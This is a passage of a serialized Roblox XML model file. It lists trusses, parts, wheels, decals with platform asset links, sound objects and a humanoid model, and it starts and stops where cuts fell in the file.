					<CoordinateFrame name="CFrame">
						<X>-110</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX200">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX201">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-130</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX202">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-130</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX203">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-110</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX204">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-120</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX205">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-130</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX206">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-130</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX207">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>-2</X>
					<Y>2.4000001</Y>
					<Z>7</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">0</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>4</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX208">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=15815205</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX209">
				<Properties>
					<token name="Face">3</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=15815205</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX210">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=15815205</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX211">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=15815205</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX212">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=15815205</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX213">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=15815205</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX214">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=10138938</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX215">
				<Properties>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=10138938</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX216">
				<Properties>
					<token name="Face">3</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=10138938</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX217">
				<Properties>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=10138938</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX218">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=10138938</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX219">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=10138938</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX220">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>232.011749</X>
					<Y>1.4075948</Y>
					<Z>-44.0203209</Z>
					<R00>-0.99944061</R00>
					<R01>-0.0307544302</R01>
					<R02>0.0131443636</R02>
					<R10>-0.023255419</R10>
					<R11>0.356559902</R11>
					<R12>-0.933983028</R12>
					<R20>0.0240373611</R20>
					<R21>-0.933766186</R21>
					<R22>-0.357075661</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-1.34869158</X>
					<Y>-3.93290901</Y>
					<Z>-1.72320008</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>25.7233887</X>
					<Y>-7.54372072</Y>
					<Z>-15.3856611</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX221">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">rgqlp</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX222">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1009</int>
				<CoordinateFrame name="CFrame">
					<X>214.014587</X>
					<Y>1.40182912</Y>
					<Z>-38.0241623</Z>
					<R00>0.999916732</R00>
					<R01>-0.0105320495</R01>
					<R02>0.00745323673</R02>
					<R10>-0.00638591964</R10>
					<R11>-0.905916154</R11>
					<R12>-0.423408836</R12>
					<R20>0.011211371</R20>
					<R21>0.423326015</R21>
					<R22>-0.905907989</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.56723839</X>
					<Y>-11.4280138</Y>
					<Z>-1.79549825</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>35.5149498</X>
					<Y>-3.66086769</Y>
					<Z>-20.332674</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX223">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">0mpe3ol</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX224">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>245.000061</X>
					<Y>3.09877801</Y>
					<Z>-8.50135994</Z>
					<R00>-1.00000012</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0.99999994</R11>
					<R12>-0.000366216525</R12>
					<R20>-0</R20>
					<R21>-0.000366216525</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX225">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Shadow</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Humanoid" referent="RBX226">
				<Properties>
					<float name="Health">0</float>
					<float name="MaxHealth">0</float>
					<string name="Name">Humanoid</string>
					<float name="WalkSpeed">25</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX227">
					<Properties>
						<bool name="Looped">false</bool>
